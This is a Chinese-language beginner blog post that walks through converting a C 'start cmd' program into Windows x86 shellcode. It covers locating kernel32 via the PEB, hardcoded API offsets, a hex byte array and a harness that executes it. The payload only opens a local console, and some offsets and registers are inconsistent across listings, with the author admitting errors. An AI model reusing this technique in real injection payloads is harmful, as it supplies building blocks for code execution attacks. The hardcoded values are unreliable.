C/C++ 到 shellcode 过程

最简单的弹出cmd代码

1 #include<stdio.h>
2 #include <windows.h>
3 void main()
4 {
5 system("start cmd");
6 }

为了确保system函数存在,加入LoadLibrary("msvcrt.dll");

1 #include<stdio.h>
2 #include <windows.h>
3
4 void main()
5 {
6 LoadLibrary("msvcrt.dll"); //载入system所在的dll
7 system("start cmd");
8 }

下一步,就是汇编代码了(如果对一下代码,不太懂的建议搜索下栈帧

 1 #include<stdio.h>
2 #include <windows.h>
3
4 void main()
5 {
6 // LoadLibrary("msvcrt.dll"); //载入system所在的dll
7
8 _asm{
9 push ebp
10 mov ebp,esp
11 xor eax,eax
12 push eax
13 push eax
14 push eax
15
16 mov byte ptr[ebp-0Ch],6Dh //m
17 mov byte ptr[ebp-0Bh],73h //s
18 mov byte ptr[ebp-0Ah],76h //v
19 mov byte ptr[ebp-09h],63h //c
20 mov byte ptr[ebp-08h],72h //r
21 mov byte ptr[ebp-07h],74h //t
22 mov byte ptr[ebp-06h],2Eh //.
23 mov byte ptr[ebp-05h],64h //d
24 mov byte ptr[ebp-04h],6Ch //l
25 mov byte ptr[ebp-03h],6Ch //l
26 lea esi,[ebp-0Ch]
27
28 push esi
29 mov eax,xxxxxx地址
30 call eax
31 add esp,4
32
33 }
34
35 // system("start cmd");
36 _asm{
37
38 push ebp
39 mov ebp,esp
40 xor eax,eax
41 push eax
42 push eax
43 push eax
44
45 mov byte ptr[ebp-0Ch],73h //s
46 mov byte ptr[ebp-0Bh],74h //t
47 mov byte ptr[ebp-0Ah],61h //a
48 mov byte ptr[ebp-09h],72h //r
49 mov byte ptr[ebp-08h],74h //t
50 mov byte ptr[ebp-07h],20h //
51 mov byte ptr[ebp-06h],63h //c
52 mov byte ptr[ebp-05h],6Dh //m
53 mov byte ptr[ebp-04h],64h //d
54 lea esi,[ebp-0Ch]
55
56 push esi
57 mov eax,xxxxxx地址
58 call eax
59 add esp,4
60 }
61 }

如果你用的是xp sp2以及以下版本,你可你将【xxxxxx地址】写成固定地址,但是在win7 vistar 版本,地址已经不是固定的了,所以,要首先确定地址,我们只要知道Loadlibary 和 GetProcAddress地址就可以猥琐了,哈哈,但是这些函数有kernel.dll提供,所以,先去找到kernel地址,推荐文章:

标 题: 【原创】Win 7下定位kernel32.dll基址及shellcode编写
作 者: Cryin
时 间: 2010-10-14,22:19:43
链 接: http://bbs.pediy.com/showthread.php?t=122260

我就使用了文中

1 assume FS:nothing 
2 mov eax, FS:[30h]
3 mov eax, [eax+0ch]
4 mov eax, [eax+0ch]
5 mov eax, [eax]
6 mov eax, [eax]
7 mov eax, [eax+18h

现在我们可以获得kernel的地址了。我们还要知道LoadLibrary和GetProcess的地址,我自己写了份代码用来计算几个函数偏移的


 1 #include <windows.h>
2 #include <stdio.h>
3 typedef void (*MYPROC)(LPTSTR);
4 int main()
5 {
6 HINSTANCE LibHandle;
7 MYPROC ProcAdd;
8 //------------------------------
9 LibHandle = LoadLibrary("kernel32");
10 printf("kernel32 LibHandle = //x%x\n", LibHandle);
11 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"LoadLibraryA");
12 printf("LoadLibrary = //x%x\n\n", ProcAdd);
13 printf(" >//x%x\n\n", (int)ProcAdd - (int)LibHandle );
14
15 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"GetProcAddress");
16 printf("GetProcAddress = //x%x\n\n", ProcAdd);
17 printf(" >//x%x\n\n", (int)ProcAdd - (int)LibHandle );
18
19 //--------------------
20 LibHandle = LoadLibrary("user32");
21 printf("user32 LibHandle = //x%x\n", LibHandle);
22 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
23 printf("MessageBoxA = //x%x\n\n", ProcAdd);
24 printf(" >//x%x\n\n", (int)ProcAdd - (int)LibHandle );
25 //----------------------
26 LibHandle = LoadLibrary("msvcrt");
27 printf("msvcrt LibHandle = //x%x\n", LibHandle);
28 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
29 printf("system = //x%x\n\n", ProcAdd);
30 printf(" >//x%x\n\n", (int)ProcAdd - (int)LibHandle );
31
32 getchar();
33 return 0;
34 }

运行得到

DLLNAME        APINAME        OFFSET  //有问题: 最近本人更新了N多补丁发现 kernel32.dll被更新了,这时候的OFFSet有的值已经变化,导致错误(请阅读下篇文章)
------------------------------------------
kernel32    loadlibraryA      149d7
                   

kernel32   GetProcAddress    11222

user32        MesageBoxA     6fd1e
    

msvcrt        system             5b177h

---------------------------------------------

具体代码思路是 通过kernel地址-->LoadLibrary地址-->得到system地址,还不明白看代码

 1 #include <stdio.h>
2 #include <windows.h>
3
4 void main()
5 {
6
7 _asm{
8 // assume FS:nothing VC中寄存器已经初始化了。
9 mov eax, FS:[30h]
10 mov eax, [eax+0ch]
11 mov eax, [eax+0ch]
12 mov eax, [eax]
13 mov eax, [eax]
14 mov eax, [eax+18h]
15 mov ebx,eax //kernel addr in ebx
16
17 //LoadLibrary("msvcrt.dll");
18 push ebp
19 mov ebp,esp
20 xor eax,eax
21 push eax
22 push eax
23 push eax
24
25 mov byte ptr[ebp-0Ch],6Dh //m
26 mov byte ptr[ebp-0Bh],73h //s
27 mov byte ptr[ebp-0Ah],76h //v
28 mov byte ptr[ebp-09h],63h //c
29 mov byte ptr[ebp-08h],72h //r
30 mov byte ptr[ebp-07h],74h //t
31 mov byte ptr[ebp-06h],2Eh //.
32 mov byte ptr[ebp-05h],64h //d
33 mov byte ptr[ebp-04h],6Ch //l
34 mov byte ptr[ebp-03h],6Ch //l
35 lea esi,[ebp-0Ch]
36
37 push esi
38 mov eax,ebx
39
40 add eax,149d7h //得到LoadLibraryw地址
41
42 call eax
43
44 add esp,4
45
46 mov ebx,eax //MSCCRT.dll句柄(地址)在ecx中
47 // system(start cmd );
48 push ebp
49 mov ebp,esp
50 xor eax,eax
51 push eax
52 push eax
53 push eax
54
55 mov byte ptr[ebp-0Ch],73h //s
56 mov byte ptr[ebp-0Bh],74h //t
57 mov byte ptr[ebp-0Ah],61h //a
58 mov byte ptr[ebp-09h],72h //r
59 mov byte ptr[ebp-08h],74h //t
60 mov byte ptr[ebp-07h],20h //
61 mov byte ptr[ebp-06h],63h //c
62 mov byte ptr[ebp-05h],6Dh //m
63 mov byte ptr[ebp-04h],64h //d
64 lea esi,[ebp-0Ch]
65
66 push esi
67 mov eax,ebx
68 add eax,5b177h
69 call eax
70 add esp, 4
71
72 /**/
73
74
75 }
76
77
78 // printf("%x",hTest);
79 getchar();
80 }

如果看明白了,那我们就asm--->shellcode 吧

F10 进入调试模式,选择

再右键 勾上codebytes 得到

  1 //  assume FS:nothing      VC中寄存器已经初始化了。
       |            |                           | shellcode  |
2 9: mov eax, FS:[30h]
3 00401028 64 A1 30 00 00 00 mov eax,fs:[00000030]            64 A1 30 00 00 00
4 10: mov eax, [eax+0ch]                
5 0040102E 8B 40 0C mov eax,dword ptr [eax+0Ch]         8E 40 0C
6 11: mov eax, [eax+0ch]
7 00401031 8B 40 0C mov eax,dword ptr [eax+0Ch]        下面也是这样,到底
8 12: mov eax, [eax]
9 00401034 8B 00 mov eax,dword ptr [eax]
10 13: mov eax, [eax]
11 00401036 8B 00 mov eax,dword ptr [eax]
12 14: mov eax, [eax+18h]
13 00401038 8B 40 18 mov eax,dword ptr [eax+18h]
14 15: mov ebx,eax //kernel addr in ebx
15 0040103B 8B D8 mov ebx,eax
16 16:
17 17: //LoadLibrary("msvcrt.dll");
18 18: push ebp
19 0040103D 55 push ebp
20 19: mov ebp,esp
21 0040103E 8B EC mov ebp,esp
22 20: xor eax,eax
23 00401040 33 C0 xor eax,eax
24 21: push eax
25 00401042 50 push eax
26 22: push eax
27 00401043 50 push eax
28 23: push eax
29 00401044 50 push eax
30 24:
31 25: mov byte ptr[ebp-0Ch],6Dh //m
32 00401045 C6 45 F4 6D mov byte ptr [ebp-0Ch],6Dh
33 26: mov byte ptr[ebp-0Bh],73h //s
34 00401049 C6 45 F5 73 mov byte ptr [ebp-0Bh],73h
35 27: mov byte ptr[ebp-0Ah],76h //v
36 0040104D C6 45 F6 76 mov byte ptr [ebp-0Ah],76h
37 28: mov byte ptr[ebp-09h],63h //c
38 00401051 C6 45 F7 63 mov byte ptr [ebp-9],63h
39 29: mov byte ptr[ebp-08h],72h //r
40 00401055 C6 45 F8 72 mov byte ptr [ebp-8],72h
41 30: mov byte ptr[ebp-07h],74h //t
42 00401059 C6 45 F9 74 mov byte ptr [ebp-7],74h
43 31: mov byte ptr[ebp-06h],2Eh //.
44 0040105D C6 45 FA 2E mov byte ptr [ebp-6],2Eh
45 32: mov byte ptr[ebp-05h],64h //d
46 00401061 C6 45 FB 64 mov byte ptr [ebp-5],64h
47 33: mov byte ptr[ebp-04h],6Ch //l
48 00401065 C6 45 FC 6C mov byte ptr [ebp-4],6Ch
49 34: mov byte ptr[ebp-03h],6Ch //l
50 00401069 C6 45 FD 6C mov byte ptr [ebp-3],6Ch
51 35: lea esi,[ebp-0Ch]
52 0040106D 8D 75 F4 lea esi,[ebp-0Ch]
53 36:
54 37: push esi
55 00401070 56 push esi
56 38: mov eax,ebx
57 00401071 8B C3 mov eax,ebx
58 39:
59 40: add eax,149d7h //得到LoadLibraryw地址
60 00401073 05 D7 49 01 00 add eax,149D7h
61 41:
62 42: call eax
63 00401078 FF D0 call eax
64 43:
65 44: add esp,4
66 0040107A 83 C4 04 add esp,4
67 45:
68 46: mov ecx,eax //MSCCRT.dll句柄(地址)在ecx中
69 0040107D 8B C8 mov ecx,eax
70 47: // system(start cmd );
71 48: push ebp
72 0040107F 55 push ebp
73 49: mov ebp,esp
74 00401080 8B EC mov ebp,esp
75 50: xor eax,eax
76 00401082 33 C0 xor eax,eax
77 51: push eax
78 00401084 50 push eax
79 52: push eax
80 00401085 50 push eax
81 53: push eax
82 00401086 50 push eax
83 54:
84 55: mov byte ptr[ebp-0Ch],73h //s
85 00401087 C6 45 F4 73 mov byte ptr [ebp-0Ch],73h
86 56: mov byte ptr[ebp-0Bh],74h //t
87 0040108B C6 45 F5 74 mov byte ptr [ebp-0Bh],74h
88 57: mov byte ptr[ebp-0Ah],61h //a
89 0040108F C6 45 F6 61 mov byte ptr [ebp-0Ah],61h
90 58: mov byte ptr[ebp-09h],72h //r
91 00401093 C6 45 F7 72 mov byte ptr [ebp-9],72h
92 59: mov byte ptr[ebp-08h],74h //t
93 00401097 C6 45 F8 74 mov byte ptr [ebp-8],74h
94 60: mov byte ptr[ebp-07h],20h //
95 0040109B C6 45 F9 20 mov byte ptr [ebp-7],20h
96 61: mov byte ptr[ebp-06h],63h //c
97 0040109F C6 45 FA 63 mov byte ptr [ebp-6],63h
98 62: mov byte ptr[ebp-05h],6Dh //m
99 004010A3 C6 45 FB 6D mov byte ptr [ebp-5],6Dh
100 63: mov byte ptr[ebp-04h],64h //d
101 004010A7 C6 45 FC 64 mov byte ptr [ebp-4],64h
102 64: lea esi,[ebp-0Ch]
103 004010AB 8D 75 F4 lea esi,[ebp-0Ch]
104 65:
105 66: push esi
106 004010AE 56 push esi
107 67: mov eax,ecx
108 004010AF 8B C1 mov eax,ecx
109 68: add eax,5b16fh
110 004010B1 05 6F B1 05 00 add eax,5B16Fh
111 69: call eax
112 004010B6 FF D0 call eax
113 70: add esp, 4
114 004010B8 83 C4 04 add esp,4
115 71:
116 72: /**/


我们现在得到了 64 A1 30 00 00 00。。。。83 C4 04 的数字。

下面真正的shellcode 就要出来了(手动改成如下格式,我是这么弄得,只是为了简单测试)

0x64,0xA1,0x30,0x00,0x00,0x00, 。。。0x83,0xC4,0x04

测试shellcode

 1 #include <stdio.h>
2 /*验证shellcode专用*/
3 int main()
4 {
5
6 unsigned char shellcode[] = {
7 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,
8 0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,
9 0xD8,0x55,0x8B,0xEC,0x33,0xC0,0x50,0x50,0x50,0xC6,
10 0x45,0xF4,0x6D,0xC6,0x45,0xF5,0x73,0xC6,0x45,0xF6,
11 0x76,0xC6,0x45,0xF7,0x63,0xC6,0x45,0xF8,0x72,0xC6,
12 0x45,0xF9,0x74,0xC6,0x45,0xFA,0x2E,0xC6,0x45,0xFB,
13 0x64,0xC6,0x45,0xFC,0x6C,0xC6,0x45,0xFD,0x6C,0x8D,
14 0x75,0xF4,0x56,0x8B,0xC3,0x05,0xD7,0x49,0x01,0x00,
15 0xFF,0xD0,0x83,0xC4,0x04,0x8B,0xD8,0x55,0x8B,0xEC,
16 0x33,0xC0,0x50,0x50,0x50,0xC6,0x45,0xF4,0x73,0xC6,
17 0x45,0xF5,0x74,0xC6,0x45,0xF6,0x61,0xC6,0x45,0xF7,
18 0x72,0xC6,0x45,0xF8,0x74,0xC6,0x45,0xF9,0x20,0xC6,
19 0x45,0xFA,0x63,0xC6,0x45,0xFB,0x6D,0xC6,0x45,0xFC,
20 0x64,0x8D,0x75,0xF4,0x56,0x8B,0xC3,0x05,0x77,0xB1,
21 0x05,0x00,0xFF,0xD0,0x83,0xC4,0x04
22 };
23 /* add esp,4
24 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,
25 0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,
26 0xD8,0x55,0x8B,0xEC,0x33,0xC0,0x50,0x50,0x50,0xC6,
27 0x45,0xF4,0x6D,0xC6,0x45,0xF5,0x73,0xC6,0x45,0xF6,
28 0x76,0xC6,0x45,0xF7,0x63,0xC6,0x45,0xF8,0x72,0xC6,
29 0x45,0xF9,0x74,0xC6,0x45,0xFA,0x2E,0xC6,0x45,0xFB,
30 0x64,0xC6,0x45,0xFC,0x6C,0xC6,0x45,0xFD,0x6C,0x8D,
31 0x75,0xF4,0x56,0x8B,0xC3,0x05,0xD7,0x49,0x01,0x00,
32 0xFF,0xD0,0x83,0xC4,0x04,0x8B,0xD8,0x55,0x8B,0xEC,
33 0x33,0xC0,0x50,0x50,0x50,0xC6,0x45,0xF4,0x73,0xC6,
34 0x45,0xF5,0x74,0xC6,0x45,0xF6,0x61,0xC6,0x45,0xF7,
35 0x72,0xC6,0x45,0xF8,0x74,0xC6,0x45,0xF9,0x20,0xC6,
36 0x45,0xFA,0x63,0xC6,0x45,0xFB,0x6D,0xC6,0x45,0xFC,
37 0x64,0x8D,0x75,0xF4,0x56,0x8B,0xC3,0x05,0x77,0xB1,
38 0x05,0x00,0xFF,0xD0,0x83,0xC4,0x04
39
40 */
41 /*
42 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,
43 0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,
44 0xD8,0x55,0x8B,0xEC,0x33,0xC0,0x50,0x50,0x50,0xC6,
45 0x45,0xF4,0x6D,0xC6,0x45,0xF5,0x73,0xC6,0x45,0xF6,
46 0x76,0xC6,0x45,0xF7,0x63,0xC6,0x45,0xF8,0x72,0xC6,
47 0x45,0xF9,0x74,0xC6,0x45,0xFA,0x2E,0xC6,0x45,0xFB,
48 0x64,0xC6,0x45,0xFC,0x6C,0xC6,0x45,0xFD,0x6C,0x8D,
49 0x75,0xF4,0x56,0x8B,0xC3,0x05,0xD7,0x49,0x01,0x00,
50 0xFF,0xD0,0x83,0xC4,0x04,0x8B,0xC8,0x55,0x8B,0xEC,
51 0x33,0xC0,0x50,0x50,0x50,0xC6,0x45,0xF4,0x73,0xC6,
52 0x45,0xF5,0x74,0xC6,0x45,0xF6,0x61,0xC6,0x45,0xF7,
53 0x72,0xC6,0x45,0xF8,0x74,0xC6,0x45,0xF9,0x20,0xC6,
54 0x45,0xFA,0x63,0xC6,0x45,0xFB,0x6D,0xC6,0x45,0xFC,
55 0x64,0x8D,0x75,0xF4,0x56,0x8B,0xC1,0x05,0x6F,0xB1,
56 0x05,0x00,0xFF,0xD0,0x83,0xC4,0x04
57
58 */
59
60 printf("size of shellcode: %d\n", sizeof(shellcode));
61
62 getchar();
63
64 ((void (*)())&shellcode)();
65
66 return 0;
67
68 }


回车后得到CMD,不过出错了,高人也帮忙看看这个白框怎么弄没了。

菜鸟,希望对你有帮助。








原文地址:https://www.cnblogs.com/witty/p/2417776.html